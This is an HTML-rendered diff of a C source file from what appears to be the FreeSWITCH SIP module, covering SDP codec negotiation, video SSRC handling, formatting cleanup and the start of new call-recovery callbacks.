</span><span class="cx">                                 flags = (switch_rtp_flag_t) (SWITCH_RTP_FLAG_USE_TIMER | SWITCH_RTP_FLAG_DATAWAIT | SWITCH_RTP_FLAG_RAW_WRITE);
</span><span class="cx">                         }
</span><span class="lines">@@ -2770,7 +2858,16 @@
</span><span class="cx">                                                           0, switch_rtp_ready(tech_pvt-&gt;video_rtp_session) ? &quot;SUCCESS&quot; : err);
</span><span class="cx"> 
</span><span class="cx">                         if (switch_rtp_ready(tech_pvt-&gt;video_rtp_session)) {
</span><ins>+                                const char *ssrc;
</ins><span class="cx">                                 switch_channel_set_flag(tech_pvt-&gt;channel, CF_VIDEO);
</span><ins>+                                if ((ssrc = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;rtp_use_video_ssrc&quot;))) {
+                                        uint32_t ssrc_ul = (uint32_t) strtoul(ssrc, NULL, 10);
+                                        switch_rtp_set_ssrc(tech_pvt-&gt;video_rtp_session, ssrc_ul);
+                                }
+
+                                switch_channel_set_variable_printf(tech_pvt-&gt;channel, &quot;sip_use_video_pt&quot;, &quot;%d&quot;, tech_pvt-&gt;video_agreed_pt);
+                                tech_pvt-&gt;video_ssrc = switch_rtp_get_ssrc(tech_pvt-&gt;rtp_session);
+                                switch_channel_set_variable_printf(tech_pvt-&gt;channel, &quot;rtp_use_video_ssrc&quot;, &quot;%u&quot;, tech_pvt-&gt;ssrc);
</ins><span class="cx">                         } else {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(tech_pvt-&gt;session), SWITCH_LOG_ERROR, &quot;VIDEO RTP REPORTS ERROR: [%s]\n&quot;, switch_str_nil(err));
</span><span class="cx">                                 switch_channel_hangup(tech_pvt-&gt;channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="lines">@@ -2786,13 +2883,16 @@
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- video_up:
</del><ins>+  video_up:
</ins><span class="cx"> 
</span><span class="cx">         sofia_set_flag(tech_pvt, TFLAG_IO);
</span><span class="cx">         status = SWITCH_STATUS_SUCCESS;
</span><span class="cx"> 
</span><span class="cx">   end:
</span><span class="cx"> 
</span><ins>+        sofia_glue_tech_track(tech_pvt-&gt;profile, tech_pvt-&gt;session);
+
+
</ins><span class="cx">         switch_mutex_unlock(tech_pvt-&gt;sofia_mutex);
</span><span class="cx"> 
</span><span class="cx">         return status;
</span><span class="lines">@@ -2801,7 +2901,7 @@
</span><span class="cx"> 
</span><span class="cx"> void sofia_glue_set_r_sdp_codec_string(switch_core_session_t *session, const char *codec_string, sdp_session_t *sdp)
</span><span class="cx"> {
</span><del>-        char buf[1024] = {0};
</del><ins>+        char buf[1024] = { 0 };
</ins><span class="cx">         sdp_media_t *m;
</span><span class="cx">         sdp_attribute_t *attr;
</span><span class="cx">         int ptime = 0, dptime = 0;
</span><span class="lines">@@ -2844,7 +2944,7 @@
</span><span class="cx"> 
</span><span class="cx">         for (m = sdp-&gt;sdp_media; m; m = m-&gt;m_next) {
</span><span class="cx">                 ptime = dptime;
</span><del>-                if ( m-&gt;m_type == sdp_media_image &amp;&amp; m-&gt;m_port) {
</del><ins>+                if (m-&gt;m_type == sdp_media_image &amp;&amp; m-&gt;m_port) {
</ins><span class="cx">                         switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), &quot;,t38&quot;);
</span><span class="cx">                 } else if (m-&gt;m_type == sdp_media_audio &amp;&amp; m-&gt;m_port) {
</span><span class="cx">                         for (attr = m-&gt;m_attributes; attr; attr = attr-&gt;a_next) {
</span><span class="lines">@@ -2872,7 +2972,7 @@
</span><span class="cx">                                         continue;
</span><span class="cx">                                 }
</span><span class="cx">                                 for (map = m-&gt;m_rtpmaps; map; map = map-&gt;rm_next) {
</span><del>-                                        if ( map-&gt;rm_pt &gt; 127 ||  already_did[map-&gt;rm_pt]) {
</del><ins>+                                        if (map-&gt;rm_pt &gt; 127 || already_did[map-&gt;rm_pt]) {
</ins><span class="cx">                                                 continue;
</span><span class="cx">                                         }
</span><span class="cx"> 
</span><span class="lines">@@ -2888,7 +2988,8 @@
</span><span class="cx"> 
</span><span class="cx">                                         if (match) {
</span><span class="cx">                                                 if (ptime &gt; 0) {
</span><del>-                                                        switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), &quot;,%s@%uh@%di&quot;, imp-&gt;iananame, (unsigned int) map-&gt;rm_rate, ptime);
</del><ins>+                                                        switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), &quot;,%s@%uh@%di&quot;, imp-&gt;iananame, (unsigned int) map-&gt;rm_rate,
+                                                                                        ptime);
</ins><span class="cx">                                                 } else {
</span><span class="cx">                                                         switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), &quot;,%s@%uh&quot;, imp-&gt;iananame, (unsigned int) map-&gt;rm_rate);
</span><span class="cx">                                                 }
</span><span class="lines">@@ -2913,7 +3014,7 @@
</span><span class="cx">                                         continue;
</span><span class="cx">                                 }
</span><span class="cx">                                 for (map = m-&gt;m_rtpmaps; map; map = map-&gt;rm_next) {
</span><del>-                                        if ( map-&gt;rm_pt &gt; 127 || already_did[map-&gt;rm_pt]) {
</del><ins>+                                        if (map-&gt;rm_pt &gt; 127 || already_did[map-&gt;rm_pt]) {
</ins><span class="cx">                                                 continue;
</span><span class="cx">                                         }
</span><span class="cx"> 
</span><span class="lines">@@ -2929,7 +3030,8 @@
</span><span class="cx"> 
</span><span class="cx">                                         if (match) {
</span><span class="cx">                                                 if (ptime &gt; 0) {
</span><del>-                                                        switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), &quot;,%s@%uh@%di&quot;, imp-&gt;iananame, (unsigned int) map-&gt;rm_rate, ptime);
</del><ins>+                                                        switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), &quot;,%s@%uh@%di&quot;, imp-&gt;iananame, (unsigned int) map-&gt;rm_rate,
+                                                                                        ptime);
</ins><span class="cx">                                                 } else {
</span><span class="cx">                                                         switch_snprintf(buf + strlen(buf), sizeof(buf) - strlen(buf), &quot;,%s@%uh&quot;, imp-&gt;iananame, (unsigned int) map-&gt;rm_rate);
</span><span class="cx">                                                 }
</span><span class="lines">@@ -2959,13 +3061,13 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if ((parser = sdp_parse(NULL, r_sdp, (int) strlen(r_sdp), 0))) {
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (tech_pvt-&gt;num_codecs) {
</span><span class="cx">                         if ((sdp = sdp_session(parser))) {
</span><span class="cx">                                 match = sofia_glue_negotiate_sdp(tech_pvt-&gt;session, sdp);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 sdp_parser_free(parser);
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="lines">@@ -2992,7 +3094,7 @@
</span><span class="cx">                 if (!sofia_test_flag(tech_pvt, TFLAG_SIP_HOLD)) {
</span><span class="cx">                         const char *stream;
</span><span class="cx">                         const char *msg = &quot;hold&quot;;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (sofia_test_pflag(tech_pvt-&gt;profile, PFLAG_MANAGE_SHARED_APPEARANCE)) {
</span><span class="cx">                                 const char *info = switch_channel_get_variable(tech_pvt-&gt;channel, &quot;presence_call_info&quot;);
</span><span class="cx">                                 if (info) {
</span><span class="lines">@@ -3020,7 +3122,7 @@
</span><span class="cx">                                         switch_channel_set_flag(tech_pvt-&gt;channel, CF_HOLD);
</span><span class="cx">                                         switch_ivr_hold_uuid(switch_channel_get_variable(tech_pvt-&gt;channel, SWITCH_SIGNAL_BOND_VARIABLE), NULL, 0);
</span><span class="cx">                                 } else {
</span><del>-                                        switch_ivr_broadcast(switch_channel_get_variable(tech_pvt-&gt;channel, SWITCH_SIGNAL_BOND_VARIABLE), stream, 
</del><ins>+                                        switch_ivr_broadcast(switch_channel_get_variable(tech_pvt-&gt;channel, SWITCH_SIGNAL_BOND_VARIABLE), stream,
</ins><span class="cx">                                                                                  SMF_ECHO_ALEG | SMF_LOOP | SMF_PRIORITY);
</span><span class="cx">                                         switch_yield(250000);
</span><span class="cx">                                 }
</span><span class="lines">@@ -3033,7 +3135,7 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 sofia_clear_flag_locked(tech_pvt, TFLAG_HOLD_LOCK);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (sofia_test_flag(tech_pvt, TFLAG_SIP_HOLD)) {
</span><span class="cx">                         const char *uuid;
</span><span class="cx">                         switch_core_session_t *b_session;
</span><span class="lines">@@ -3087,7 +3189,7 @@
</span><span class="cx"> 
</span><span class="cx">         greedy = !!sofia_test_pflag(tech_pvt-&gt;profile, PFLAG_GREEDY);
</span><span class="cx">         scrooge = !!sofia_test_pflag(tech_pvt-&gt;profile, PFLAG_SCROOGE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!greedy || !scrooge) {
</span><span class="cx">                 if ((val = switch_channel_get_variable(channel, &quot;sip_codec_negotiation&quot;))) {
</span><span class="cx">                         if (!strcasecmp(val, &quot;greedy&quot;)) {
</span><span class="lines">@@ -3108,16 +3210,15 @@
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Activate Buggy RFC2833 Mode!\n&quot;);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (tech_pvt-&gt;profile-&gt;auto_rtp_bugs &amp; RTP_BUG_SONUS_SEND_INVALID_TIMESTAMP_2833) {
</span><span class="cx">                         if (strstr(tech_pvt-&gt;origin, &quot;Sonus_UAC&quot;)) {
</span><span class="cx">                                 tech_pvt-&gt;rtp_bugs |= RTP_BUG_SONUS_SEND_INVALID_TIMESTAMP_2833;
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, 
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
</ins><span class="cx">                                                                   &quot;Hello,\nI see you have a Sonus!\n&quot;
</span><span class="cx">                                                                   &quot;FYI, Sonus cannot follow the RFC on the proper way to send DTMF.\n&quot;
</span><span class="cx">                                                                   &quot;Sadly, my creator had to spend several hours figuring this out so I thought you'd like to know that!\n&quot;
</span><del>-                                                                  &quot;Don't worry, DTMF will work but you may want to ask them to fix it......\n&quot;
-                                                                  );
</del><ins>+                                                                  &quot;Don't worry, DTMF will work but you may want to ask them to fix it......\n&quot;);
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -3163,25 +3264,25 @@
</span><span class="cx"> 
</span><span class="cx">                 if (got_udptl &amp;&amp; m-&gt;m_type == sdp_media_image &amp;&amp; m-&gt;m_port) {
</span><span class="cx">                         switch_t38_options_t *t38_options = switch_core_session_alloc(tech_pvt-&gt;session, sizeof(switch_t38_options_t));
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         for (attr = m-&gt;m_attributes; attr; attr = attr-&gt;a_next) {
</span><del>-                                if (!strcasecmp(attr-&gt;a_name, &quot;T38MaxBitRate&quot;) &amp;&amp; attr-&gt;a_value) { 
</del><ins>+                                if (!strcasecmp(attr-&gt;a_name, &quot;T38MaxBitRate&quot;) &amp;&amp; attr-&gt;a_value) {
</ins><span class="cx">                                         t38_options-&gt;T38MaxBitRate = (uint32_t) atoi(attr-&gt;a_value);
</span><del>-                                } else  if (!strcasecmp(attr-&gt;a_name, &quot;T38FaxFillBitRemoval&quot;)) {
</del><ins>+                                } else if (!strcasecmp(attr-&gt;a_name, &quot;T38FaxFillBitRemoval&quot;)) {
</ins><span class="cx">                                         t38_options-&gt;T38FaxFillBitRemoval = SWITCH_TRUE;
</span><del>-                                } else  if (!strcasecmp(attr-&gt;a_name, &quot;T38FaxTranscodingMMR&quot;)) {
</del><ins>+                                } else if (!strcasecmp(attr-&gt;a_name, &quot;T38FaxTranscodingMMR&quot;)) {
</ins><span class="cx">                                         t38_options-&gt;T38FaxTranscodingMMR = SWITCH_TRUE;
</span><del>-                                } else  if (!strcasecmp(attr-&gt;a_name, &quot;T38FaxTranscodingJBIG&quot;)) {
</del><ins>+                                } else if (!strcasecmp(attr-&gt;a_name, &quot;T38FaxTranscodingJBIG&quot;)) {
</ins><span class="cx">                                         t38_options-&gt;T38FaxTranscodingJBIG = SWITCH_TRUE;
</span><del>-                                } else  if (!strcasecmp(attr-&gt;a_name, &quot;T38FaxRateManagement&quot;) &amp;&amp; attr-&gt;a_value) {
</del><ins>+                                } else if (!strcasecmp(attr-&gt;a_name, &quot;T38FaxRateManagement&quot;) &amp;&amp; attr-&gt;a_value) {
</ins><span class="cx">                                         t38_options-&gt;T38FaxRateManagement = switch_core_session_strdup(tech_pvt-&gt;session, attr-&gt;a_value);
</span><del>-                                } else  if (!strcasecmp(attr-&gt;a_name, &quot;T38FaxMaxBuffer&quot;) &amp;&amp; attr-&gt;a_value) {
</del><ins>+                                } else if (!strcasecmp(attr-&gt;a_name, &quot;T38FaxMaxBuffer&quot;) &amp;&amp; attr-&gt;a_value) {
</ins><span class="cx">                                         t38_options-&gt;T38FaxMaxBuffer = (uint32_t) atoi(attr-&gt;a_value);
</span><del>-                                } else  if (!strcasecmp(attr-&gt;a_name, &quot;T38FaxMaxDatagram&quot;) &amp;&amp; attr-&gt;a_value) {
</del><ins>+                                } else if (!strcasecmp(attr-&gt;a_name, &quot;T38FaxMaxDatagram&quot;) &amp;&amp; attr-&gt;a_value) {
</ins><span class="cx">                                         t38_options-&gt;T38FaxMaxDatagram = (uint32_t) atoi(attr-&gt;a_value);
</span><del>-                                } else  if (!strcasecmp(attr-&gt;a_name, &quot;T38FaxUdpEC&quot;) &amp;&amp; attr-&gt;a_value) {
</del><ins>+                                } else if (!strcasecmp(attr-&gt;a_name, &quot;T38FaxUdpEC&quot;) &amp;&amp; attr-&gt;a_value) {
</ins><span class="cx">                                         t38_options-&gt;T38FaxUdpEC = switch_core_session_strdup(tech_pvt-&gt;session, attr-&gt;a_value);
</span><del>-                                } else  if (!strcasecmp(attr-&gt;a_name, &quot;T38VendorInfo&quot;) &amp;&amp; attr-&gt;a_value) {
</del><ins>+                                } else if (!strcasecmp(attr-&gt;a_name, &quot;T38VendorInfo&quot;) &amp;&amp; attr-&gt;a_value) {
</ins><span class="cx">                                         t38_options-&gt;T38VendorInfo = switch_core_session_strdup(tech_pvt-&gt;session, attr-&gt;a_value);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="lines">@@ -3232,12 +3333,12 @@
</span><span class="cx">                                                         } else {
</span><span class="cx">                                                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Crypto Setup Failed!.\n&quot;);
</span><span class="cx">                                                         }
</span><del>-                                                                                                                
</del><ins>+
</ins><span class="cx">                                                         if (a &amp;&amp; b &amp;&amp; !strncasecmp(a, b, 23)) {
</span><span class="cx">                                                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Change Remote key to [%s]\n&quot;, crypto);
</span><span class="cx">                                                                 tech_pvt-&gt;remote_crypto_key = switch_core_session_strdup(tech_pvt-&gt;session, crypto);
</span><span class="cx">                                                                 tech_pvt-&gt;crypto_tag = crypto_tag;
</span><del>-                                                                
</del><ins>+
</ins><span class="cx">                                                                 if (switch_rtp_ready(tech_pvt-&gt;rtp_session) &amp;&amp; sofia_test_flag(tech_pvt, TFLAG_SECURE)) {
</span><span class="cx">                                                                         sofia_glue_add_crypto(tech_pvt, tech_pvt-&gt;remote_crypto_key, SWITCH_RTP_CRYPTO_RECV);
</span><span class="cx">                                                                         switch_rtp_add_crypto_key(tech_pvt-&gt;rtp_session, SWITCH_RTP_CRYPTO_RECV, tech_pvt-&gt;crypto_tag,
</span><span class="lines">@@ -3288,7 +3389,7 @@
</span><span class="cx">                   greed:
</span><span class="cx">                         x = 0;
</span><span class="cx"> 
</span><del>-                        if (tech_pvt-&gt;rm_encoding) {// &amp;&amp; !sofia_test_flag(tech_pvt, TFLAG_REINVITE)) {
</del><ins>+                        if (tech_pvt-&gt;rm_encoding) {        // &amp;&amp; !sofia_test_flag(tech_pvt, TFLAG_REINVITE)) {
</ins><span class="cx">                                 char *remote_host = tech_pvt-&gt;remote_sdp_audio_ip;
</span><span class="cx">                                 switch_port_t remote_port = tech_pvt-&gt;remote_sdp_audio_port;
</span><span class="cx">                                 int same = 0;
</span><span class="lines">@@ -3297,7 +3398,7 @@
</span><span class="cx">                                         remote_host = switch_rtp_get_remote_host(tech_pvt-&gt;rtp_session);
</span><span class="cx">                                         remote_port = switch_rtp_get_remote_port(tech_pvt-&gt;rtp_session);
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 for (map = m-&gt;m_rtpmaps; map; map = map-&gt;rm_next) {
</span><span class="cx">                                         if ((zstr(map-&gt;rm_encoding) || (tech_pvt-&gt;profile-&gt;ndlb &amp; PFLAG_NDLB_ALLOW_BAD_IANANAME)) &amp;&amp; map-&gt;rm_pt &lt; 96) {
</span><span class="cx">                                                 match = (map-&gt;rm_pt == tech_pvt-&gt;pt) ? 1 : 0;
</span><span class="lines">@@ -3305,8 +3406,7 @@
</span><span class="cx">                                                 match = strcasecmp(switch_str_nil(map-&gt;rm_encoding), tech_pvt-&gt;iananame) ? 0 : 1;
</span><span class="cx">                                         }
</span><span class="cx"> 
</span><del>-                                        if (match &amp;&amp; connection-&gt;c_address &amp;&amp; remote_host &amp;&amp;
-                                                !strcmp(connection-&gt;c_address, remote_host) &amp;&amp; m-&gt;m_port == remote_port) {
</del><ins>+                                        if (match &amp;&amp; connection-&gt;c_address &amp;&amp; remote_host &amp;&amp; !strcmp(connection-&gt;c_address, remote_host) &amp;&amp; m-&gt;m_port == remote_port) {
</ins><span class="cx">                                                 same = 1;
</span><span class="cx">                                         } else {
</span><span class="cx">                                                 same = 0;
</span><span class="lines">@@ -3315,7 +3415,7 @@
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 if (same) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, 
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
</ins><span class="cx">                                                                           &quot;Our existing sdp is still good [%s %s:%d], let's keep it.\n&quot;,
</span><span class="cx">                                                                           tech_pvt-&gt;rm_encoding, tech_pvt-&gt;remote_sdp_audio_ip, tech_pvt-&gt;remote_sdp_audio_port);
</span><span class="cx">                                         got_audio = 1;
</span><span class="lines">@@ -3324,7 +3424,7 @@
</span><span class="cx">                                         got_audio = 0;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         for (map = m-&gt;m_rtpmaps; map; map = map-&gt;rm_next) {
</span><span class="cx">                                 int32_t i;
</span><span class="cx">                                 uint32_t near_rate = 0;
</span><span class="lines">@@ -3369,7 +3469,7 @@
</span><span class="cx">                                         first = 0;
</span><span class="cx">                                         last = tech_pvt-&gt;num_codecs;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (maxptime &amp;&amp; (!ptime || ptime &gt; maxptime)) {
</span><span class="cx">                                         ptime = maxptime;
</span><span class="cx">                                 }
</span><span class="lines">@@ -3396,12 +3496,11 @@
</span><span class="cx"> 
</span><span class="cx">                                         if (match) {
</span><span class="cx">                                                 if (scrooge) {
</span><del>-                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, 
-                                                                                          &quot;Bah HUMBUG! Sticking with %s@%uh@%ui\n&quot;, 
</del><ins>+                                                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG,
+                                                                                          &quot;Bah HUMBUG! Sticking with %s@%uh@%ui\n&quot;,
</ins><span class="cx">                                                                                           imp-&gt;iananame, imp-&gt;samples_per_second, imp-&gt;microseconds_per_packet / 1000);
</span><span class="cx">                                                 } else {
</span><del>-                                                        if ((ptime &amp;&amp; ptime * 1000 != imp-&gt;microseconds_per_packet) || 
-                                                                map-&gt;rm_rate != codec_rate) {
</del><ins>+                                                        if ((ptime &amp;&amp; ptime * 1000 != imp-&gt;microseconds_per_packet) || map-&gt;rm_rate != codec_rate) {
</ins><span class="cx">                                                                 near_rate = map-&gt;rm_rate;
</span><span class="cx">                                                                 near_match = imp;
</span><span class="cx">                                                                 match = 0;
</span><span class="lines">@@ -3420,18 +3519,18 @@
</span><span class="cx">                                         char *prefs[1];
</span><span class="cx">                                         char tmp[80];
</span><span class="cx">                                         int num;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         switch_snprintf(tmp, sizeof(tmp), &quot;%s@%uh@%ui&quot;, near_match-&gt;iananame, near_rate ? near_rate : near_match-&gt;samples_per_second, ptime);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         prefs[0] = tmp;
</span><span class="cx">                                         num = switch_loadable_module_get_codecs_sorted(search, 1, prefs, 1);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (num) {
</span><span class="cx">                                                 mimp = search[0];
</span><span class="cx">                                         } else {
</span><span class="cx">                                                 mimp = near_match;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (!maxptime || mimp-&gt;microseconds_per_packet / 1000 &lt;= maxptime) {
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Substituting codec %s@%ui@%uh\n&quot;,
</span><span class="cx">                                                                                   mimp-&gt;iananame, mimp-&gt;microseconds_per_packet / 1000, mimp-&gt;samples_per_second);
</span><span class="lines">@@ -3440,7 +3539,7 @@
</span><span class="cx">                                                 mimp = NULL;
</span><span class="cx">                                                 match = 0;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 if (!match &amp;&amp; greedy) {
</span><span class="lines">@@ -3454,7 +3553,7 @@
</span><span class="cx">                                         tech_pvt-&gt;iananame = switch_core_session_strdup(session, (char *) mimp-&gt;iananame);
</span><span class="cx">                                         tech_pvt-&gt;pt = (switch_payload_t) map-&gt;rm_pt;
</span><span class="cx">                                         tech_pvt-&gt;rm_rate = map-&gt;rm_rate;
</span><del>-                                        if (!strcasecmp((char *) mimp-&gt;iananame, &quot;ilbc&quot;) &amp;&amp; zstr((char*)map-&gt;rm_fmtp)) {
</del><ins>+                                        if (!strcasecmp((char *) mimp-&gt;iananame, &quot;ilbc&quot;) &amp;&amp; zstr((char *) map-&gt;rm_fmtp)) {
</ins><span class="cx">                                                 /* default to 30 when no mode is defined for ilbc ONLY */
</span><span class="cx">                                                 tech_pvt-&gt;codec_ms = 30;
</span><span class="cx">                                         } else {
</span><span class="lines">@@ -3563,8 +3662,8 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
- done:
</del><ins>+
+  done:
</ins><span class="cx">         tech_pvt-&gt;cng_pt = cng_pt;
</span><span class="cx">         sofia_set_flag_locked(tech_pvt, TFLAG_SDP);
</span><span class="cx"> 
</span><span class="lines">@@ -3645,9 +3744,9 @@
</span><span class="cx">                 other_channel = switch_core_session_get_channel(other_session);
</span><span class="cx">                 switch_channel_set_variable(other_channel, SWITCH_B_SDP_VARIABLE, sdp);
</span><span class="cx"> 
</span><del>-                if (!sofia_test_flag(tech_pvt, TFLAG_CHANGE_MEDIA) &amp;&amp; (switch_channel_test_flag(other_channel, CF_OUTBOUND) &amp;&amp;
-                                                                                                                                switch_channel_test_flag(tech_pvt-&gt;channel, CF_OUTBOUND) &amp;&amp;
-                                                                                                                                switch_channel_test_flag(tech_pvt-&gt;channel, CF_PROXY_MODE))) {
</del><ins>+                if (!sofia_test_flag(tech_pvt, TFLAG_CHANGE_MEDIA) &amp;&amp; !sofia_test_flag(tech_pvt, TFLAG_RECOVERING) &amp;&amp;
+                        (switch_channel_test_flag(other_channel, CF_OUTBOUND) &amp;&amp;
+                         switch_channel_test_flag(tech_pvt-&gt;channel, CF_OUTBOUND) &amp;&amp; switch_channel_test_flag(tech_pvt-&gt;channel, CF_PROXY_MODE))) {
</ins><span class="cx">                         switch_ivr_nomedia(val, SMF_FORCE);
</span><span class="cx">                         sofia_set_flag_locked(tech_pvt, TFLAG_CHANGE_MEDIA);
</span><span class="cx">                 }
</span><span class="lines">@@ -3748,12 +3847,12 @@
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-void sofia_glue_restart_all_profiles(void) 
</del><ins>+void sofia_glue_restart_all_profiles(void)
</ins><span class="cx"> {
</span><span class="cx">         switch_hash_index_t *hi;
</span><span class="cx">         const void *var;
</span><del>-    void *val;
-    sofia_profile_t *pptr;
</del><ins>+        void *val;
+        sofia_profile_t *pptr;
</ins><span class="cx">         switch_xml_t xml_root;
</span><span class="cx">         const char *err;
</span><span class="cx"> 
</span><span class="lines">@@ -3764,9 +3863,9 @@
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(mod_sofia_globals.hash_mutex);
</span><span class="cx">         if (mod_sofia_globals.profile_hash) {
</span><del>-        for (hi = switch_hash_first(NULL, mod_sofia_globals.profile_hash); hi; hi = switch_hash_next(hi)) {
</del><ins>+                for (hi = switch_hash_first(NULL, mod_sofia_globals.profile_hash); hi; hi = switch_hash_next(hi)) {
</ins><span class="cx">                         switch_hash_this(hi, &amp;var, NULL, &amp;val);
</span><del>-            if ((pptr = (sofia_profile_t *) val)) {
</del><ins>+                        if ((pptr = (sofia_profile_t *) val)) {
</ins><span class="cx">                                 int rsec = 10;
</span><span class="cx">                                 int diff = (int) (switch_epoch_time_now(NULL) - pptr-&gt;started);
</span><span class="cx">                                 int remain = rsec - diff;
</span><span class="lines">@@ -3775,7 +3874,7 @@
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                                 if (diff &lt; rsec) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, 
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
</ins><span class="cx">                                                                           &quot;Profile %s must be up for at least %d seconds to stop/restart.\nPlease wait %d second%s\n&quot;,
</span><span class="cx">                                                                           pptr-&gt;name, rsec, remain, remain == 1 ? &quot;&quot; : &quot;s&quot;);
</span><span class="cx">                                         continue;
</span><span class="lines">@@ -3798,7 +3897,7 @@
</span><span class="cx">         const void *var;
</span><span class="cx">         void *val;
</span><span class="cx">         sofia_profile_t *pptr;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(mod_sofia_globals.hash_mutex);
</span><span class="cx">         if (mod_sofia_globals.profile_hash) {
</span><span class="cx">                 for (hi = switch_hash_first(NULL, mod_sofia_globals.profile_hash); hi; hi = switch_hash_next(hi)) {
</span><span class="lines">@@ -3827,6 +3926,342 @@
</span><span class="cx">         switch_mutex_unlock(mod_sofia_globals.hash_mutex);
</span><span class="cx"> }
</span><span class="cx"> 
</span><ins>+
+static int rebridge_callback(void *pArg, int argc, char **argv, char **columnNames)
+{
+        char *uuid = argv[2];
+        switch_core_session_t *session;
+
+        if ((session = switch_core_session_locate(uuid))) {
+                switch_channel_t *channel = switch_core_session_get_channel(session);
+                private_object_t *tech_pvt = (private_object_t *) switch_core_session_get_private(session);
+
+                if (sofia_test_flag(tech_pvt, TFLAG_RECOVERING_BRIDGE)) {
+                        switch_channel_wait_for_state_timeout(channel, CS_INIT, 10000);
+                        switch_channel_set_state(channel, CS_RESET);
+                }
+                switch_core_session_rwunlock(session);
+        }
+
+        return 0;
+}
+
+struct recover_helper {
+        sofia_profile_t *profile;
+        int total;
+};
+
+
+static int recover_callback(void *pArg, int argc, char **argv, char **columnNames)
+{
+        struct recover_helper *h = (struct recover_helper *) pArg;
+        switch_xml_t xml;
+        switch_core_session_t *session;
+        switch_channel_t *channel;
+        private_object_t *tech_pvt = NULL;
+        const char *tmp;
+
+        xml = switch_xml_parse_str_dynamic(argv[3], SWITCH_TRUE);
+
+        if (!xml)
+                return 0;
+
+        if (!(session = switch_core_session_request_xml(sofia_endpoint_interface, NULL, xml))) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;skipping non-bridged entry\n&quot;);
+                return 0;
+        }
+
+        if (!(tech_pvt = (private_object_t *) switch_core_session_alloc(session, sizeof(private_object_t)))) {
+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_CRIT, &quot;Hey where is my memory pool?\n&quot;);
+                switch_core_session_destroy(&amp;session);
+                return 0;
+        }
+
+        channel = tech_pvt-&gt;channel = switch_core_session_get_channel(session);
+
+        switch_mutex_init(&amp;tech_pvt-&gt;flag_mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
+        switch_mutex_init(&amp;tech_pvt-&gt;sofia_mutex, SWITCH_MUTEX_NESTED, switch_core_session_get_pool(session));
+
+        tech_pvt-&gt;remote_ip = (char *) switch_channel_get_variable(channel, &quot;sip_network_ip&quot;);
+        tech_pvt-&gt;remote_port = atoi(switch_str_nil(switch_channel_get_variable(channel, &quot;sip_network_port&quot;)));
+        tech_pvt-&gt;caller_profile = switch_channel_get_caller_profile(channel);
+
+
+
+
+
+        if (switch_channel_direction(channel) == SWITCH_CALL_DIRECTION_OUTBOUND) {
